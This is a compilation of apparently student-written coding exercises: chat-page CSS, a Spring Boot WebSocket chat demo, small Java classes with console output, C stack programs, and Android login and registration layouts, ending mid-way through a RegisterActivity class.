    z-index: 0;
}

.clearfix:after {
    display: block;
    content: "";
    clear: both;
}

.hidden {
    display: none;
}

.form-control {
    width: 100%;
    min-height: 38px;
    font-size: 15px;
    border: 1px solid #c8c8c8;
}

.form-group {
    margin-bottom: 15px;
}

input {
    padding-left: 10px;
    outline: none;
}

h1, h2, h3, h4, h5, h6 {
    margin-top: 20px;
    margin-bottom: 20px;
}

h1 {
    font-size: 1.7em;
}

a {
    color: #128ff2;
}

button {
    box-shadow: none;
    border: 1px solid transparent;
    font-size: 14px;
    outline: none;
    line-height: 100%;
    white-space: nowrap;
    vertical-align: middle;
    padding: 0.6rem 1rem;
    border-radius: 2px;
    transition: all 0.2s ease-in-out;
    cursor: pointer;
    min-height: 38px;
}

button.default {
    background-color: #e8e8e8;
    color: #333;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
}

button.primary {
    background-color: #128ff2;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
    color: #fff;
}

button.accent {
    background-color: #ff4743;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
    color: #fff;
}

#username-page {
    text-align: center;
}

.username-page-container {
    background: #fff;
    box-shadow: 0 1px 11px rgba(0, 0, 0, 0.27);
    border-radius: 2px;
    width: 100%;
    max-width: 500px;
    display: inline-block;
    margin-top: 42px;
    vertical-align: middle;
    position: relative;
    padding: 35px 55px 35px;
    min-height: 250px;
    position: absolute;
    top: 50%;
    left: 0;
    right: 0;
    margin: 0 auto;
    margin-top: -160px;
}

.username-page-container .username-submit {
    margin-top: 10px;
}


#chat-page {
    position: relative;
    height: 100%;
}

.chat-container {
    max-width: 700px;
    margin-left: auto;
    margin-right: auto;
    background-color: #fff;
    box-shadow: 0 1px 11px rgba(0, 0, 0, 0.27);
    margin-top: 30px;
    height: calc(100% - 60px);
    max-height: 600px;
    position: relative;
}

#chat-page ul {
    list-style-type: none;
    background-color: #FFF;
    margin: 0;
    overflow: auto;
    overflow-y: scroll;
    padding: 0 20px 0px 20px;
    height: calc(100% - 150px);
}

#chat-page #messageForm {
    padding: 20px;
}

#chat-page ul li {
    line-height: 1.5rem;
    padding: 10px 20px;
    margin: 0;
    border-bottom: 1px solid #f4f4f4;
}

#chat-page ul li p {
    margin: 0;
}

#chat-page .event-message {
    width: 100%;
    text-align: center;
    clear: both;
}

#chat-page .event-message p {
    color: #777;
    font-size: 14px;
    word-wrap: break-word;
}

#chat-page .chat-message {
    padding-left: 68px;
    position: relative;
}

#chat-page .chat-message i {
    position: absolute;
    width: 42px;
    height: 42px;
    overflow: hidden;
    left: 10px;
    display: inline-block;
    vertical-align: middle;
    font-size: 18px;
    line-height: 42px;
    color: #fff;
    text-align: center;
    border-radius: 50%;
    font-style: normal;
    text-transform: uppercase;
}

#chat-page .chat-message span {
    color: #333;
    font-weight: 600;
}

#chat-page .chat-message p {
    color: #43464b;
}

#messageForm .input-group input {
    float: left;
    width: calc(100% - 85px);
}

#messageForm .input-group button {
    float: left;
    width: 80px;
    height: 38px;
    margin-left: 5px;
}

.chat-header {
    text-align: center;
    padding: 15px;
    border-bottom: 1px solid #ececec;
}

.chat-header h2 {
    margin: 0;
    font-weight: 500;
}

.connecting {
    padding-top: 5px;
    text-align: center;
    color: #777;
    position: absolute;
    top: 65px;
    width: 100%;
}


@media screen and (max-width: 730px) {

    .chat-container {
        margin-left: 10px;
        margin-right: 10px;
        margin-top: 10px;
    }
}

@media screen and (max-width: 480px) {
    .chat-container {
        height: calc(100% - 30px);
    }

    .username-page-container {
        width: auto;
        margin-left: 15px;
        margin-right: 15px;
        padding: 25px;
    }

    #chat-page ul {
        height: calc(100% - 120px);
    }

    #messageForm .input-group button {
        width: 65px;
    }

    #messageForm .input-group input {
        width: calc(100% - 70px);
    }

    .chat-header {
        padding: 10px;
    }

    .connecting {
        top: 60px;
    }

    .chat-header h2 {
        font-size: 1.1em;
    }
}

config/WebSocketConfig

package com.example.websocketdemo.config;

import org.springframework.context.annotation.Configuration;
import org.springframework.messaging.simp.config.MessageBrokerRegistry;
import org.springframework.web.socket.config.annotation.*;

@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {

    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        registry.addEndpoint("/ws").withSockJS();
    }


    @Override
    public void configureMessageBroker(MessageBrokerRegistry registry) {
        registry.setApplicationDestinationPrefixes("/app");
        registry.enableSimpleBroker("/topic");

    }
}


---------------------------------------------
  
controller/ChatController

package com.example.websocketdemo.controller;

import com.example.websocketdemo.model.ChatMessage;
import org.springframework.messaging.handler.annotation.MessageMapping;
import org.springframework.messaging.handler.annotation.Payload;
import org.springframework.messaging.handler.annotation.SendTo;
import org.springframework.messaging.simp.SimpMessageHeaderAccessor;
import org.springframework.stereotype.Controller;


@Controller
public class ChatController {

    @MessageMapping("/chat.sendMessage")
    @SendTo("/topic/public")
    public ChatMessage sendMessage(@Payload ChatMessage chatMessage) {
        return chatMessage;
    }

    @MessageMapping("/chat.addUser")
    @SendTo("/topic/public")
    public ChatMessage addUser(@Payload ChatMessage chatMessage,
                               SimpMessageHeaderAccessor headerAccessor) {
        // Add username in web socket session
        headerAccessor.getSessionAttributes().put("username", chatMessage.getSender());
        return chatMessage;
    }

}

----------------------------------------------------

controller/WebSocketEventListener

package com.example.websocketdemo.controller;

import com.example.websocketdemo.model.ChatMessage;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.event.EventListener;
import org.springframework.messaging.simp.SimpMessageSendingOperations;
import org.springframework.messaging.simp.stomp.StompHeaderAccessor;
import org.springframework.stereotype.Component;
import org.springframework.web.socket.messaging.SessionConnectedEvent;
import org.springframework.web.socket.messaging.SessionDisconnectEvent;

@Component
public class WebSocketEventListener {

    private static final Logger logger = LoggerFactory.getLogger(WebSocketEventListener.class);

    @Autowired
    private SimpMessageSendingOperations messagingTemplate;

    @EventListener
    public void handleWebSocketConnectListener(SessionConnectedEvent event) {
        logger.info("Received a new web socket connection");
    }

    @EventListener
    public void handleWebSocketDisconnectListener(SessionDisconnectEvent event) {
        StompHeaderAccessor headerAccessor = StompHeaderAccessor.wrap(event.getMessage());

        String username = (String) headerAccessor.getSessionAttributes().get("username");
        if(username != null) {
            logger.info("User Disconnected : " + username);

            ChatMessage chatMessage = new ChatMessage();
            chatMessage.setType(ChatMessage.MessageType.LEAVE);
            chatMessage.setSender(username);

            messagingTemplate.convertAndSend("/topic/public", chatMessage);
        }
    }
}

------------------------------------------

model/ChatMessage
package com.example.websocketdemo.model;

import lombok.Data;

@Data
public class ChatMessage {
    private MessageType type;
    private String content;
    private String sender;

    public enum MessageType {
        CHAT,
        JOIN,
        LEAVE
    }
}

-----------------------------------
WebsocketDemoApplication

package com.example.websocketdemo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class WebsocketDemoApplication {

	public static void main(String[] args) {
		SpringApplication.run(WebsocketDemoApplication.class, args);
	}
}

public class Student {
	
	private String name;
	private int age;
	private int id;
	private double gpa;
	int foo;
	
	Student(String name, int age, int id) {
		this.name = name;
		this.age = age;
		this.id = id;
		gpa = 0.0;
		foo = 0;
	}
//Get
	public String getName() {
		return name;
	}
	
	public int getAge() {
		return age;
	}
	public int getId() {
		return id;
	}
	public double getGpa() {
		return gpa;
	}
//Set
	public void setName(String name) {
		this.name = name;
	}
	public void setAge (int age) {
		this.age = age;
	}
	public void setId(int id) {
		this.id = id;
	}
	public void setGpa(double gpa) {
		this.gpa = gpa;
	}
	
	public String toString() {
		return "Name: " + name + " Age: " + age + " Id: " + id + " Gpa: " + gpa;
	}

}

public static void main(String[] args) {
		
		Student s1 = new Student("Mohamed", 24, 210209327);
		
		s1.setGpa(98.67);
		
		System.out.println("Student Name: " + s1.getName());
		System.out.println("Student Age: " + s1.getAge());
		System.out.println("Student Id: " + s1.getId());
		System.out.println("Student Gpa: " + s1.getGpa());
		
		System.out.println(s1.toString());
		
		s1.foo = 5;
		System.out.println("Student foo: " + s1.foo);

	}

}
//OUTPUT:
Student Name: Mohamed
Student Age: 24
Student Id: 210209327
Student Gpa: 98.67
Name: Mohamed Age: 24 Id: 210209327 Gpa: 98.67
Student foo: 5

import java.util.Scanner;
class Student{
	int rollNumber;
	String name;
}
class StudentInfo{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		Student s1=new Student();
		Student s2=new Student();
		Student s3=new Student();
		System.out.println("Enter roll of 1st Student:");
		s1.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 1st Student:");
		s1.name=sc.nextLine();
		System.out.println("Enter roll of 2nd Student:");
		s2.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 2nd Student:");
		s2.name=sc.nextLine();
		System.out.println("Enter roll of 3rd Student:");
		s3.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 3rd Student:");
		s3.name=sc.nextLine();
		System.out.println("Name of First Student= "+s1.name);
		System.out.println("roll of First Student= "+s1.rollNumber);
		System.out.println("Name of Second Student= "+s2.name);
		System.out.println("roll of Second Student= "+s2.rollNumber);
		System.out.println("Name of Third Student= "+s3.name);
		System.out.println("roll of Second Student= "+s3.rollNumber);
	}
}

import java.util.Scanner;
class Student{
	int rollNumber;
	String name;
}
class StudentInfo{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		Student s1=new Student();
		Student s2=new Student();
		Student s3=new Student();
		System.out.println("Enter roll of 1st Student:");
		s1.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 1st Student:");
		s1.name=sc.nextLine();
		System.out.println("Enter roll of 2nd Student:");
		s2.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 2nd Student:");
		s2.name=sc.nextLine();
		System.out.println("Enter roll of 3rd Student:");
		s3.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 3rd Student:");
		s3.name=sc.nextLine();
		System.out.println("Name of First Student= "+s1.name);
		System.out.println("roll of First Student= "+s1.rollNumber);
		System.out.println("Name of Second Student= "+s2.name);
		System.out.println("roll of Second Student= "+s2.rollNumber);
		System.out.println("Name of Third Student= "+s3.name);
		System.out.println("roll of Second Student= "+s3.rollNumber);
	}
}

import java.util.Scanner;
public class AriOp{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		int FirstNumber,SecondNumber,x;
		int sum,sub,multi,div,mod,temp;
		System.out.println("ARITHMETIC OPERATION");
		System.out.println("--------------------");
		System.out.println("1.ADDITION");
		System.out.println("2.SUBTRACTION");
		System.out.println("3.MULTIPLICATION");
		System.out.println("4.DIVISION");
		System.out.println("5.REMAINDER");
		System.out.println("---------------------");
		System.out.println("Enter a number:");
		FirstNumber=sc.nextInt();
		System.out.println("Enter a number:");
		SecondNumber=sc.nextInt();
		System.out.println("Enter your option:");
		x=sc.nextInt();
		if(x>5){
			System.out.println("Enter valid criteria mentioned Above");
		}else{
			if(x==1){
				sum=FirstNumber+SecondNumber;
				System.out.println("Sum= "+sum);
			}else if(x==2){
				if(FirstNumber<SecondNumber){
						temp=FirstNumber;
						FirstNumber=SecondNumber;
						SecondNumber=temp;
				}
				sub=FirstNumber-SecondNumber;
				System.out.println("sub= "+sub);
			}else if(x==3){
				multi=FirstNumber*SecondNumber;
				System.out.println("multi= "+multi);
			}else if(x==4){
				if(FirstNumber<SecondNumber){
						System.out.println("Not Possible");
				}else{
					div=FirstNumber/SecondNumber;
					System.out.println("Div= "+div);
				}
			}else{
				mod=FirstNumber%SecondNumber;
				System.out.println("modulus= "+mod);
			}
		}
	}
}

Answer 1:

import java.util.Scanner;

public class Movie {
	
	String title;
	int rating;
	
	public Movie(String newTitle, int newRating) {
		title = newTitle;
		if(newRating >=0 && newRating <= 10) {
			rating = newRating;
		}
	}
	public char getCategory() {
		if(rating ==9 || rating == 10)
			return 'A';
		else if(rating == 7 || rating ==8)
			return 'B';
		else if(rating == 5 || rating == 6)
			return 'C';
		else if(rating == 3 || rating ==4)
			return 'D';
		else 
			return 'F';
		
	}
	public void writeOutput() {
		System.out.println("Title: " + title);
		System.out.println("Rating: " + rating);
	}

	public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter Title of Movie: ");
		String name = scanner.next();
		
		System.out.println("Enter Rating a Movie: ");
		int rating = scanner.nextInt();
		
		Movie m1 = new Movie(name, rating);
		
		//getCategory();
		m1.writeOutput();
		System.out.println("Catagory of the movie: " + m1.getCategory());
		
	}
}
//OUTPUT:

Enter Title of Movie: 
Black_List
Enter Rating a Movie: 
10
Title: Black_List
Rating: 10
Catagory of the movie: A

Answer 4:

import java.util.Scanner;

public class Employee {
	
	String name;
	double salary;
	double hours;
	
	Employee(){
		this("",0,0);
	}
	Employee(String name, double salary, double hours){
		this.name = name;
		this.salary = salary;
		this.hours = hours;
	}
	
	public void addBonus() {
		if(salary < 600) {
			salary += 15;
		}
	}
	public void addWork() {
		if(hours > 8) {
			salary += 10;
		}
	}
	public void printSalary() {
		System.out.println("Final Salary Of The Employee = " + salary + "$");
	}

	public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter a Name of Employee:");
		String name = scanner.next();
		System.out.println("Enter a Salary of Employee: ");
		double sal = scanner.nextDouble();
		
		System.out.println("Enter a Number of Hours:");
		double hrs = scanner.nextDouble();
		
		Employee emp = new Employee(name,sal,hrs);
		
		emp.addBonus();
		emp.addWork();
		emp.printSalary();

	}
}
//OUTPUT:
Enter a Name of Employee:
mohamed
Enter a Salary of Employee: 
599
Enter a Number of Hours:
10
Final Salary Of The Employee = 624.0$

Q 1.
#include <stdio.h>
#include <stdlib.h>
#define MAX_SIZE 3

int stack [MAX_SIZE];
int top = -1;

void push(int value) 
{
    if(top==MAX_SIZE-1) {
        printf("Stack Overflow (Full): Cannot Push Element (%d) onto the stack.\n", value);
    }
    else {
        top++;
        stack[top] = value;
        printf("Element (%d) Pushed Onto The Stack.\n", value);
    }
}

void pop() 
{
    if(top == -1) {
        printf("Stack Underflow (Empty): Cannot Pop Element From The Stack.\n");
    }
    else {
        printf("\nElement (%d) Popped From The Stack.\n", stack[top]);
        top--;
    }
}

void display()
{
    if(top == -1) {
        printf("Stack is Empty.\n");
    }
    else {
        printf("Stack Elements are: ");
        for(int i=top; i>=0; i--) {
            printf("%d, ",stack[i]);
        }
        printf("\n");
    }
}

int main() {
    
    push(10);
    push(20);
    display();
    push(50);
    push(100);
    display();

    pop();
    display();
    pop();
    pop();
    display();

    return 0;
}

//OUTPUT:
Element (10) Pushed Onto The Stack.
Element (20) Pushed Onto The Stack.
Stack Elements are: 20, 10, 
Element (50) Pushed Onto The Stack.
Stack Overflow (Full): Cannot Push Element (100) onto the stack.
Stack Elements are: 50, 20, 10, 

Element (50) Popped From The Stack.
Stack Elements are: 20, 10, 

Element (20) Popped From The Stack.

Element (10) Popped From The Stack.
Stack is Empty.


Q3. 
#include <stdio.h>
#include <stdlib.h>
#define MAX_SIZE 100

char stack[MAX_SIZE];
int top = -1;
void push(char data) {
    if (top == MAX_SIZE - 1) {
        printf("Overflow stack!\n");
        return;
    }
    top++;
    stack[top] = data;
}

char pop() {
    if (top == -1) {
        printf("Empty stack!\n");
        return ' ';
    }
    char data = stack[top];
    top--;
    return data;
}

int is_matching_pair(char char1, char char2) {
    if (char1 == '(' && char2 == ')') {
        return 1;
    } else if (char1 == '[' && char2 == ']') {
        return 1;
    } else if (char1 == '{' && char2 == '}') {
        return 1;
    } else {
        return 0;
    }
}
int isBalanced(char* text) {
    int i;
    for (i = 0; i < strlen(text); i++) {
        if (text[i] == '(' || text[i] == '[' || text[i] == '{') {
            push(text[i]);
        } else if (text[i] == ')' || text[i] == ']' || text[i] == '}') {
            if (top == -1) {
                return 0;
            } else if (!is_matching_pair(pop(), text[i])) {
                return 0;
            }
        }
    }
    if (top == -1) {
        return 1;
    } else {
        return 0;
    }
}

int main() {
   char text[MAX_SIZE];
   printf("Input an expression in parentheses: ");
   scanf("%s", text);
   if (isBalanced(text)) {
       printf("The expression is balanced.\n");
   } else {
       printf("The expression is not balanced.\n");
   }
   return 0;
}
//OUTPUT:
Input an expression in parentheses: {[({[]})]}
The expression is balanced.
Input an expression in parentheses: [{[}]]
The expression is not balanced.

public class Car {
	
	String model;
	String color;
	int speed;
	
//Default Constructor
	
	public Car() {
		model = "Toyota";
		color = "black";
		speed = 40;
	}
	
	public Car(String newModel, String newColor, int newSpeed) {
		model= newModel;
		color = newColor;
		speed = newSpeed;
	} 
	
	public void increaseSpeed(int newSpeed) {
		speed = speed + newSpeed;
	}
	
	public void decreaseSpeed(int newSpeed) {
		speed = speed - newSpeed;
	}
	
//Test programming
	public static void main(String[] args) {
	
//Car 1
		Car c1 = new Car();
		System.out.println("Car 1:");
		System.out.println("\nModel: " + c1.model + "\nColor: " + c1.color + "\nspeed: " + c1.speed);
	
		c1.increaseSpeed(100);
		
		System.out.println("\nCar 1: İncrease speed by (100)");
		System.out.println("New speed: " + c1.speed);
		
		c1.decreaseSpeed(50);
		
		System.out.println("\nCar 1: Decrease speed by (50)");
		System.out.println("New speed: " + c1.speed);
	
//CAR 2
		Car c2 = new Car("Bugati", "Blue", 100);
		
		System.out.println("\n\nCar 2:");
		
		System.out.println("\nModel: " + c2.model + "\nColor: " + c2.color + "\nspeed: " + c2.speed);
	
	
		
        c2.increaseSpeed(90);
		
		System.out.println("\nCar 2: İncrease speed by (90)");
		System.out.println("New speed: " + c2.speed);
		
		c2.decreaseSpeed(40);
		
		System.out.println("\nCar 2: Decrease speed by (40)");
		System.out.println("New speed: " + c2.speed);
	
	
	}

}
//OUTPUT:
Car 1:

Model: Toyota
Color: black
speed: 40

Car 1: İncrease speed by (100)
New speed: 140

Car 1: Decrease speed by (50)
New speed: 90


Car 2:

Model: Bugati
Color: Blue
speed: 100

Car 2: İncrease speed by (90)
New speed: 190

Car 2: Decrease speed by (40)
New speed: 150



///.                     BANK ACCOUNT CALSSES AND ABOJECTS.


import java.util.Scanner;

public class BankAccount {
	
	String owner;
	double balance;
	int aType;
	
	public BankAccount() {
		owner = "Mohamed";
		balance = 1500;
		aType = 1;
		
	}
	public BankAccount(String newOwner, double newBalance, int newAType ) {
		owner = newOwner;
		balance = newBalance;
		aType = newAType;
	}
		
	public void addMoney(double newBalance) {
		balance = balance + newBalance;
	}
	
	public void takeMoney(double newBalance) {
		balance = balance - newBalance;
	}
	
	public static void main (String[] arg) {
	
		BankAccount c1 = new BankAccount();
		
		System.out.println("Costumer 1:");
		System.out.println("\nOwner: " +c1.owner + "\nBalance: " + c1.balance + "\naType: " + c1.aType);
		
		c1.addMoney(1500);
		System.out.println("\nAdd Blance by (1500)");
		System.out.println("\nNew Balance :" + c1.balance);
		
		c1.takeMoney(2500);
		System.out.println("\nRemove Blance by (2500)");
		System.out.println("\nNew Balance :" + c1.balance);
		
		Scanner scanner = new Scanner(System.in);
		
		System.out.println("\nEnter Costumer 2 information: ");
		System.out.println("Enter Name of Owner : ");
		String owner = scanner.next();
		
		System.out.println("Enter balance: ");
		double balance = scanner.nextDouble();
		
		System.out.println("Enter AType Account: ");
		int aType = scanner.nextInt();
		
		BankAccount c2 = new BankAccount(owner, balance, aType);
		
		System.out.println("\n\nCostumer 2:");
		System.out.println("\nOwner: " +c2.owner + "\nBalance: " + c2.balance + "\naType: " + c2.aType);
		
		c2.addMoney(3000);
		System.out.println("\nAdd Blance by (3000)");
		System.out.println("\nNew Balance :" + c2.balance);
		
		c2.takeMoney(5000);
		System.out.println("\nRemove Blance by (5000)");
		System.out.println("\nNew Balance :" + c2.balance);
		
		scanner.close();
	}
}
//OUTPUT: 
Costumer 1:

Owner: Mohamed
Balance: 1500.0
aType: 1

Add Blance by (1500)

New Balance :3000.0

Remove Blance by (2500)

New Balance :500.0

Enter Costumer 2 information: 
Enter Name of Owner : 
NAJMA
Enter balance: 
8000
Enter AType Account: 
2


Costumer 2:

Owner: NAJMA
Balance: 8000.0
aType: 2

Add Blance by (3000)

New Balance :11000.0

Remove Blance by (5000)

New Balance :6000.0

public class ThisExample {

	
	int a = 10;      //instance variable
	void display() 
	{
		int a = 200;      //Local variable
      
		System.out.println("Local Variable = " + a);
		System.out.println("İnstance variable = " + this.a);
	}
	
	public static void main(String[] args) {
		
		ThisExample obj = new ThisExample();
		obj.display();

	}

}
//Output: 
Local Variable = 200
İnstance variable = 10

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".RegisterActivity"
    android:background="@drawable/back2">

    <EditText
        android:id="@+id/editTextRegPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegemail" />

    <EditText
        android:id="@+id/editTextRegConfirmPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Confirm Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegPassword" />

    <TextView
        android:id="@+id/textView"
        android:layout_width="227dp"
        android:layout_height="58dp"
        android:selectAllOnFocus="true"
        android:shadowColor="#000000"
        android:text="HealthCare"
        android:textAlignment="center"
        android:textAppearance="@style/TextAppearance.AppCompat.Body1"
        android:textColor="#FFFFFF"
        android:textColorHint="#000000"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.44"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.041" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="204dp"
        android:layout_height="43dp"
        android:text="Registration"
        android:textColor="#FFFDFD"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView"
        app:layout_constraintVertical_bias="0.09" />

    <EditText
        android:id="@+id/editTextRegUsername"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="48dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_person_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Username"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView2" />

    <EditText
        android:id="@+id/editTextRegemail"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_email_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Email"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegUsername" />

    <Button
        android:id="@+id/buttonregister"
        android:layout_width="326dp"
        android:layout_height="48dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/btn_bg"
        android:text="REGISTER"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.494"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegConfirmPassword" />

    <TextView
        android:id="@+id/textViewExisting"
        android:layout_width="127dp"
        android:layout_height="28dp"
        android:paddingTop="5dp"
        android:text="Already exist user"
        android:textAlignment="center"
        android:textAllCaps="false"
        android:textColor="#F4F4F4"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/buttonregister"
        app:layout_constraintVertical_bias="0.559" />
</androidx.constraintlayout.widget.ConstraintLayout>

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".LoginActivity"
    android:background="@drawable/back1">

    <EditText
        android:id="@+id/editTextLoginPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPassword"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextLoginUsername" />

    <TextView
        android:id="@+id/textView"
        android:layout_width="227dp"
        android:layout_height="58dp"
        android:selectAllOnFocus="true"
        android:shadowColor="#000000"
        android:text="HealthCare"
        android:textAlignment="center"
        android:textAppearance="@style/TextAppearance.AppCompat.Body1"
        android:textColor="#FFFFFF"
        android:textColorHint="#000000"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.075"
        />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="86dp"
        android:layout_height="41dp"
        android:text="Login"
        android:textColor="#FFFDFD"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView"
        app:layout_constraintVertical_bias="0.11"
        />

    <EditText
        android:id="@+id/editTextLoginUsername"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="88dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_person_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Username"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView2" />

    <Button
        android:id="@+id/buttonLogin"
        android:layout_width="326dp"
        android:layout_height="48dp"
        android:layout_marginTop="56dp"
        android:background="@drawable/btn_bg"
        android:text="Login"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.47"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextLoginPassword" />

    <TextView
        android:id="@+id/textViewNewUser"
        android:layout_width="127dp"
        android:layout_height="28dp"
        android:paddingTop="5dp"
        android:text="Register/New User"
        android:textAlignment="center"
        android:textAllCaps="false"
        android:textColor="#F4F4F4"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/buttonLogin"
        app:layout_constraintVertical_bias="0.152" />

</androidx.constraintlayout.widget.ConstraintLayout>

package com.example.healthcareproject;

import static com.example.healthcareproject.R.id.editTextRegPassword;

import androidx.appcompat.app.AppCompatActivity;

import android.annotation.SuppressLint;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class RegisterActivity extends AppCompatActivity {

    EditText edusername,edpassword,edemail,edconfirm;
    Button bt;
    TextView txt;


    @SuppressLint("MissingInflatedId")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_register);

        edusername = findViewById(R.id.editTextRegUsername);
        edpassword = findViewById(editTextRegPassword);
        edemail =findViewById(R.id.editTextRegemail);
